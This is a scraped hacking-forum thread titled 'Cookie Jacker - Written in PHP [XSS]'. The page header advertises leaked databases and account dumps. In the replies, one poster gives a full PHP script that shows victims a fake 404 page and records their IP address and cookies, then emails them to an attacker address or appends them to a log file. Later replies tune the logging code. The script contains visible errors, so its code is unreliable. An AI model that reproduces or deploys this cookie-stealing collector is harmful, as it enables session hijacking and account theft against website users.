Create an account

Very important

  • To access the important data of the forums, you must be active in each forum and especially in the leaks and database leaks section, send data and after sending the data and activity, data and important content will be opened and visible for you.
  • You will only see chat messages from people who are at or below your level.
  • More than 500,000 database leaks and millions of account leaks are waiting for you, so access and view with more activity.
  • Many important data are inactive and inaccessible for you, so open them with activity. (This will be done automatically)


Thread Rating:
  • 576 Vote(s) - 3.55 Average
  • 1
  • 2
  • 3
  • 4
  • 5
Cookie Jacker - Written in PHP [XSS]

#11
You also forgot semicolons:
PHP Code:
fwrite($oven,$message)
    
fclose($oven

I would've written it something like:
PHP Code:
<?php

/* configuration */
$show_alert FALSE;                  // show alert, otherwise faked 404 page
$email_addr '[email protected]'// email to send data to
$logfile 'log.txt';                 // logfile filepath
$send_email TRUE;                   // send email, otherwise write to logfile

/* page display */
$alert "<script>alert('All your cookies are mine.')</script>";
$fake_page "<html><head><h1>404 File Not Found</h1></head></html>";
echo 
$show_alert $alert $fake_page;

/* message to write to log file or send in email */
$msg "IP Address: {$_SERVER['REMOTE_ADDR']}\nCookies: {$GET['REQUEST']}";

if (
$send_email) {
  
mail($email_addr'Cookies'$msg);
} else {
  if ((
$f_handle fopen($logfile'a')) !== FALSE) exit();
  
fwrite($f_handle$msg);
  
fclose($f_handle);
}

?>
Reply

#12
PHP Code:
@file_put_contents($your$dumbFILE_APPEND); 
Doing this with mail is an awful idea by the way. Enjoy your flood as soon as someone figures out your game.
Reply

#13
Quote:(04-13-2014, 08:15 PM)Starfall Wrote:

[To see links please register here]

PHP Code:
@file_put_contents($your$dumbFILE_APPEND); 
Doing this with mail is an awful idea by the way. Enjoy your flood as soon as someone figures out your game.

[To see links please register here]


Small, but worth the mention. The overhead of the function call being that file_put_contents() is a wrapper for those 3 methods would be the only significant part here, but if you're making successive calls to file_put_contents(), then perhaps you do not want to be using that function... In this particular case though, the difference is minimal.
Reply



Forum Jump:


Users browsing this thread:
1 Guest(s)

©0Day  2016 - 2023 | All Rights Reserved.  Made with    for the community. Connected through